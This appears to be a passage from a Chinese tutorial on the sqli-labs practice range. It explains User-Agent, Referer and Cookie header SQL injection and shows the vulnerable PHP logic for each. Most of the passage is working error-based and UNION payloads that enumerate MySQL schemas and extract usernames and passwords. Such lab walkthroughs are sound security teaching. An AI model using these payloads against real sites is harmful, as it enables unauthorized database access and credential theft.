uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20*%20from%20(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1)%20a)),1)#&submit=Submit
也可以直接使用 floor 进行报错注入(语句太长,一般记不住)
uname=admin&passwd=1'%20and%20(select%201%20from%20(select%20count(*),concat_ws(0x7e,(select%20concat_ws(0x7e,id,username,password)%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a)%20b)%20where%20username='admin'#&submit=Submit
该题为uagent post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量并输出了IP地址
目标SQL语句如下:
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR']
$uname = check_input($POST['uname']);
$passwd = check_input($POST['passswd']);
$sql="SELECT user.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
# 返回内容
if SQL语句有返回结果:
$insert ="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', '$uname')";
输出 $uagent;
print_r(mysql_error());
if 报错:
print_r(mysql_error());
注意:本题由于过滤了$uname、$passwd参数,唯一的注入点在insert语句当中。我们需要输入正确的账号密码才会用到 insert 语句,因此只能使用报错注入、布尔盲注、时间盲注
在 PHP 中可用来获取客户端 IP 变量如下:
$_SERVER['HTTP_CLIENT_IP']:很少使用,客户端可伪造
$_SERVER['HTTP_X_FORWARDED_FOR']:客户端可伪造
$_SERVER['REMOTE_ADDR']:客户端不能伪造
由于$_SERVER['REMOTE_ADDR']
是无法被客户端伪造的,当账号密码成功输入会返回 User-Agent 信息,因此只能通过修改 User-Agent 进行注入
使用报错注入查询基础信息
User-Agent: 1' or updatexml(1,(concat(0x7e,(select user()),0x7e)),1) and '1'='1
User-Agent: 1' or updatexml(1,(concat(0x7e,(select database()),0x7e)),1) and '1'='1
User-Agent: 1' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) and '1'='1
查询表名
User-Agent: 1' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)),1) and '1'='1
查询列名
User-Agent: 1' or updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e)),1) and '1'='1
查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量
User-Agent: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1) and '1'='1
User-Agent: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e)),1) and '1'='1
该题为referer post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量并输出了IP地址
目标SQL语句如下:
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR']
$uname = check_input($POST['uname']);
$passwd = check_input($POST['passswd']);
$sql="SELECT user.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
# 返回内容
if SQL语句有返回结果:
$insert ="INSERT INTO `security`.`referers` (`referer`, `ip_address`, `username`) VALUES ('$uagent', '$IP', '$uname')";
输出 $SERVER['HTTP_REFERER'];
print_r(mysql_error());
if 报错:
print_r(mysql_error());
注意:本题与Lesson18的利用方式相同,只不过注入点由User-Agent换成了Referer当中
在 PHP 中可用来获取客户端 IP 变量如下:
$_SERVER['HTTP_CLIENT_IP']:很少使用,客户端可伪造
$_SERVER['HTTP_X_FORWARDED_FOR']:客户端可伪造
$_SERVER['REMOTE_ADDR']:客户端不能伪造
由于$_SERVER['REMOTE_ADDR']
是无法被客户端伪造的,当账号密码成功输入会返回 Referer 信息,因此只能通过修改 Referer 进行注入
使用报错注入查询基础信息
Referer: 1' or updatexml(1,(concat(0x7e,(select user()),0x7e)),1) and '1'='1
Referer: 1' or updatexml(1,(concat(0x7e,(select database()),0x7e)),1) and '1'='1
Referer: 1' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) and '1'='1
查询表名
Referer: 1' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)),1) and '1'='1
查询列名
Referer: 1' or updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e)),1) and '1'='1
查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量
Referer: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1) and '1'='1
Referer: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e)),1) and '1'='1
该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
if cookie 不存在 $uname:
if 提交 $uname 和 $passwd
$uname = $POST['uname'];
$passwd = $POST['passswd'];
$sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1;
$cookee = $row1['username'];
# 返回内容
if 返回SQL查询结果:
setcookie('uname', $cookee, timne()-3600)
else:
print_r(mysql_error());
else:
if POST 数据中没有 $submit:
$cookee = $_COOKIE['uname'];
$sql = "select * from users WHERE usernmae='$cookee' LIMIT 0,1";
if 无查询结果:
print_r(mysql_error());
else:
输出查询信息
else:
setcookie('uname', $row1['username'], time-3600);
注意:本题源码相对之前的较为复杂,注入点存在于cookie当中,它会从cookie中读取$uname并拼接至SQL语句当中从到造成注入,与此同时还输出了查询信息。因此可以联合查询、报错注入、布尔盲注、时间盲注
登录成功后界面如下:
使用联合查询判断字段数
Cookie: uname=admin' order by 3# //返回正常界面
Cookie: uname=admin' order by 4# //返回错误界面
由此可说明字段数为3,通过 union select 查看回显位置
Cookie: uname=-admin' union select 1,2,3#
查询基础信息
Cookie: uname=-admin' union select 1,2,user()#
Cookie: uname=-admin' union select 1,2,version()#
Cookie: uname=-admin' union select 1,2,database()#
查询表名
Cookie: uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
查询列名
Cookie: uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
查询关键信息
Cookie: uname=-admin' union select 1,group_concat(username),group_concat(password) from users#
该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 一些限制性因素情况等,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了靶场环境搭建以及1-20关基础注入的通过教程,后续将持续推出21-65关通关教程。